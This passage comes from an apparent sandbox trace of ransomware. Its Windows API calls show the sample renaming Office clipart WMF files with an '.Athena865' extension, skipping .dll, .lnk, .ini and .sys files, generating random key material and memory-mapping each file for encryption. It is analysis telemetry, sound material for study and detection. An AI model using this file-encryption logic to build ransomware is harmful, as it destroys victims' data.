office\\clipart\\pub60cor\\pe00998_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.024] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10500) returned 1 [0133.024] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.024] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.024] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.025] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c10, lpName=0x0) returned 0x154 [0133.027] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c10) returned 0x100000 [0133.028] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.028] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.028] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.029] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE01160_.WMF" | out: lpString1="PE01160_.WMF") returned="PE01160_.WMF" [0133.029] lstrlenW (lpString="PE01160_.WMF") returned 12 [0133.029] lstrlenW (lpString="Athena865") returned 9 [0133.029] lstrcmpiW (lpString1="1160_.WMF", lpString2="Athena865") returned -1 [0133.029] lstrlenW (lpString=".dll") returned 4 [0133.029] lstrcmpiW (lpString1="PE01160_.WMF", lpString2=".dll") returned 1 [0133.029] lstrlenW (lpString=".lnk") returned 4 [0133.029] lstrcmpiW (lpString1="PE01160_.WMF", lpString2=".lnk") returned 1 [0133.029] lstrlenW (lpString=".ini") returned 4 [0133.029] lstrcmpiW (lpString1="PE01160_.WMF", lpString2=".ini") returned 1 [0133.029] lstrlenW (lpString=".sys") returned 4 [0133.029] lstrcmpiW (lpString1="PE01160_.WMF", lpString2=".sys") returned 1 [0133.029] lstrlenW (lpString="PE01160_.WMF") returned 12 [0133.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.Athena865") returned 73 [0133.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.031] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2436) returned 1 [0133.031] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.032] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.032] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.032] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc90, lpName=0x0) returned 0x154 [0133.033] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc90) returned 0x100000 [0133.034] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.035] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.035] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.035] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE01172_.WMF" | out: lpString1="PE01172_.WMF") returned="PE01172_.WMF" [0133.035] lstrlenW (lpString="PE01172_.WMF") returned 12 [0133.035] lstrlenW (lpString="Athena865") returned 9 [0133.035] lstrcmpiW (lpString1="1172_.WMF", lpString2="Athena865") returned -1 [0133.035] lstrlenW (lpString=".dll") returned 4 [0133.035] lstrcmpiW (lpString1="PE01172_.WMF", lpString2=".dll") returned 1 [0133.035] lstrlenW (lpString=".lnk") returned 4 [0133.035] lstrcmpiW (lpString1="PE01172_.WMF", lpString2=".lnk") returned 1 [0133.036] lstrlenW (lpString=".ini") returned 4 [0133.036] lstrcmpiW (lpString1="PE01172_.WMF", lpString2=".ini") returned 1 [0133.036] lstrlenW (lpString=".sys") returned 4 [0133.036] lstrcmpiW (lpString1="PE01172_.WMF", lpString2=".sys") returned 1 [0133.036] lstrlenW (lpString="PE01172_.WMF") returned 12 [0133.036] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.Athena865") returned 73 [0133.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.037] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1436) returned 1 [0133.037] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.038] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.038] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.038] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a0, lpName=0x0) returned 0x154 [0133.040] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a0) returned 0x100000 [0133.040] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.041] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.041] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.042] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE01191_.WMF" | out: lpString1="PE01191_.WMF") returned="PE01191_.WMF" [0133.042] lstrlenW (lpString="PE01191_.WMF") returned 12 [0133.042] lstrlenW (lpString="Athena865") returned 9 [0133.042] lstrcmpiW (lpString1="1191_.WMF", lpString2="Athena865") returned -1 [0133.042] lstrlenW (lpString=".dll") returned 4 [0133.042] lstrcmpiW (lpString1="PE01191_.WMF", lpString2=".dll") returned 1 [0133.042] lstrlenW (lpString=".lnk") returned 4 [0133.042] lstrcmpiW (lpString1="PE01191_.WMF", lpString2=".lnk") returned 1 [0133.042] lstrlenW (lpString=".ini") returned 4 [0133.042] lstrcmpiW (lpString1="PE01191_.WMF", lpString2=".ini") returned 1 [0133.042] lstrlenW (lpString=".sys") returned 4 [0133.042] lstrcmpiW (lpString1="PE01191_.WMF", lpString2=".sys") returned 1 [0133.042] lstrlenW (lpString="PE01191_.WMF") returned 12 [0133.042] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.Athena865") returned 73 [0133.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01191_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01191_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.044] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16284) returned 1 [0133.044] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.045] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.045] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.045] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42a0, lpName=0x0) returned 0x154 [0133.046] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42a0) returned 0x100000 [0133.048] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.049] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.049] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.049] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE01661_.WMF" | out: lpString1="PE01661_.WMF") returned="PE01661_.WMF" [0133.049] lstrlenW (lpString="PE01661_.WMF") returned 12 [0133.049] lstrlenW (lpString="Athena865") returned 9 [0133.049] lstrcmpiW (lpString1="1661_.WMF", lpString2="Athena865") returned -1 [0133.049] lstrlenW (lpString=".dll") returned 4 [0133.049] lstrcmpiW (lpString1="PE01661_.WMF", lpString2=".dll") returned 1 [0133.049] lstrlenW (lpString=".lnk") returned 4 [0133.049] lstrcmpiW (lpString1="PE01661_.WMF", lpString2=".lnk") returned 1 [0133.049] lstrlenW (lpString=".ini") returned 4 [0133.050] lstrcmpiW (lpString1="PE01661_.WMF", lpString2=".ini") returned 1 [0133.050] lstrlenW (lpString=".sys") returned 4 [0133.050] lstrcmpiW (lpString1="PE01661_.WMF", lpString2=".sys") returned 1 [0133.050] lstrlenW (lpString="PE01661_.WMF") returned 12 [0133.050] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.Athena865") returned 73 [0133.050] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01661_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01661_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.051] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5144) returned 1 [0133.051] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.052] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.052] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.052] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1720, lpName=0x0) returned 0x154 [0133.053] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1720) returned 0x100000 [0133.054] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.055] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.055] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.056] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE01797_.WMF" | out: lpString1="PE01797_.WMF") returned="PE01797_.WMF" [0133.056] lstrlenW (lpString="PE01797_.WMF") returned 12 [0133.056] lstrlenW (lpString="Athena865") returned 9 [0133.056] lstrcmpiW (lpString1="1797_.WMF", lpString2="Athena865") returned -1 [0133.056] lstrlenW (lpString=".dll") returned 4 [0133.056] lstrcmpiW (lpString1="PE01797_.WMF", lpString2=".dll") returned 1 [0133.056] lstrlenW (lpString=".lnk") returned 4 [0133.056] lstrcmpiW (lpString1="PE01797_.WMF", lpString2=".lnk") returned 1 [0133.056] lstrlenW (lpString=".ini") returned 4 [0133.056] lstrcmpiW (lpString1="PE01797_.WMF", lpString2=".ini") returned 1 [0133.056] lstrlenW (lpString=".sys") returned 4 [0133.056] lstrcmpiW (lpString1="PE01797_.WMF", lpString2=".sys") returned 1 [0133.056] lstrlenW (lpString="PE01797_.WMF") returned 12 [0133.056] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.Athena865") returned 73 [0133.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01797_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01797_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.057] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3546) returned 1 [0133.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.058] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.058] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.058] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10e0, lpName=0x0) returned 0x154 [0133.060] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10e0) returned 0x100000 [0133.061] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.061] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.061] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.062] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02120_.WMF" | out: lpString1="PE02120_.WMF") returned="PE02120_.WMF" [0133.062] lstrlenW (lpString="PE02120_.WMF") returned 12 [0133.062] lstrlenW (lpString="Athena865") returned 9 [0133.062] lstrcmpiW (lpString1="2120_.WMF", lpString2="Athena865") returned -1 [0133.062] lstrlenW (lpString=".dll") returned 4 [0133.062] lstrcmpiW (lpString1="PE02120_.WMF", lpString2=".dll") returned 1 [0133.062] lstrlenW (lpString=".lnk") returned 4 [0133.062] lstrcmpiW (lpString1="PE02120_.WMF", lpString2=".lnk") returned 1 [0133.062] lstrlenW (lpString=".ini") returned 4 [0133.062] lstrcmpiW (lpString1="PE02120_.WMF", lpString2=".ini") returned 1 [0133.062] lstrlenW (lpString=".sys") returned 4 [0133.062] lstrcmpiW (lpString1="PE02120_.WMF", lpString2=".sys") returned 1 [0133.062] lstrlenW (lpString="PE02120_.WMF") returned 12 [0133.062] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.Athena865") returned 73 [0133.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02120_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02120_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.064] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9172) returned 1 [0133.064] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.064] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.064] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.065] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26e0, lpName=0x0) returned 0x154 [0133.066] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26e0) returned 0x100000 [0133.067] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.068] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.068] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.068] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02169_.WMF" | out: lpString1="PE02169_.WMF") returned="PE02169_.WMF" [0133.068] lstrlenW (lpString="PE02169_.WMF") returned 12 [0133.068] lstrlenW (lpString="Athena865") returned 9 [0133.068] lstrcmpiW (lpString1="2169_.WMF", lpString2="Athena865") returned -1 [0133.068] lstrlenW (lpString=".dll") returned 4 [0133.068] lstrcmpiW (lpString1="PE02169_.WMF", lpString2=".dll") returned 1 [0133.068] lstrlenW (lpString=".lnk") returned 4 [0133.069] lstrcmpiW (lpString1="PE02169_.WMF", lpString2=".lnk") returned 1 [0133.069] lstrlenW (lpString=".ini") returned 4 [0133.069] lstrcmpiW (lpString1="PE02169_.WMF", lpString2=".ini") returned 1 [0133.069] lstrlenW (lpString=".sys") returned 4 [0133.069] lstrcmpiW (lpString1="PE02169_.WMF", lpString2=".sys") returned 1 [0133.069] lstrlenW (lpString="PE02169_.WMF") returned 12 [0133.069] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.Athena865") returned 73 [0133.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02169_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.073] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8132) returned 1 [0133.073] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.073] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.073] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.074] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x22d0, lpName=0x0) returned 0x154 [0133.075] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x22d0) returned 0x100000 [0133.076] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.077] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.077] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.077] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02262_.WMF" | out: lpString1="PE02262_.WMF") returned="PE02262_.WMF" [0133.078] lstrlenW (lpString="PE02262_.WMF") returned 12 [0133.078] lstrlenW (lpString="Athena865") returned 9 [0133.078] lstrcmpiW (lpString1="2262_.WMF", lpString2="Athena865") returned -1 [0133.078] lstrlenW (lpString=".dll") returned 4 [0133.078] lstrcmpiW (lpString1="PE02262_.WMF", lpString2=".dll") returned 1 [0133.078] lstrlenW (lpString=".lnk") returned 4 [0133.078] lstrcmpiW (lpString1="PE02262_.WMF", lpString2=".lnk") returned 1 [0133.078] lstrlenW (lpString=".ini") returned 4 [0133.078] lstrcmpiW (lpString1="PE02262_.WMF", lpString2=".ini") returned 1 [0133.078] lstrlenW (lpString=".sys") returned 4 [0133.078] lstrcmpiW (lpString1="PE02262_.WMF", lpString2=".sys") returned 1 [0133.078] lstrlenW (lpString="PE02262_.WMF") returned 12 [0133.078] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.Athena865") returned 73 [0133.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.079] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30178) returned 1 [0133.079] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.080] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.080] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.080] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78f0, lpName=0x0) returned 0x154 [0133.082] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78f0) returned 0x100000 [0133.083] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.084] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.084] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.085] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02263_.WMF" | out: lpString1="PE02263_.WMF") returned="PE02263_.WMF" [0133.085] lstrlenW (lpString="PE02263_.WMF") returned 12 [0133.085] lstrlenW (lpString="Athena865") returned 9 [0133.085] lstrcmpiW (lpString1="2263_.WMF", lpString2="Athena865") returned -1 [0133.085] lstrlenW (lpString=".dll") returned 4 [0133.085] lstrcmpiW (lpString1="PE02263_.WMF", lpString2=".dll") returned 1 [0133.085] lstrlenW (lpString=".lnk") returned 4 [0133.085] lstrcmpiW (lpString1="PE02263_.WMF", lpString2=".lnk") returned 1 [0133.085] lstrlenW (lpString=".ini") returned 4 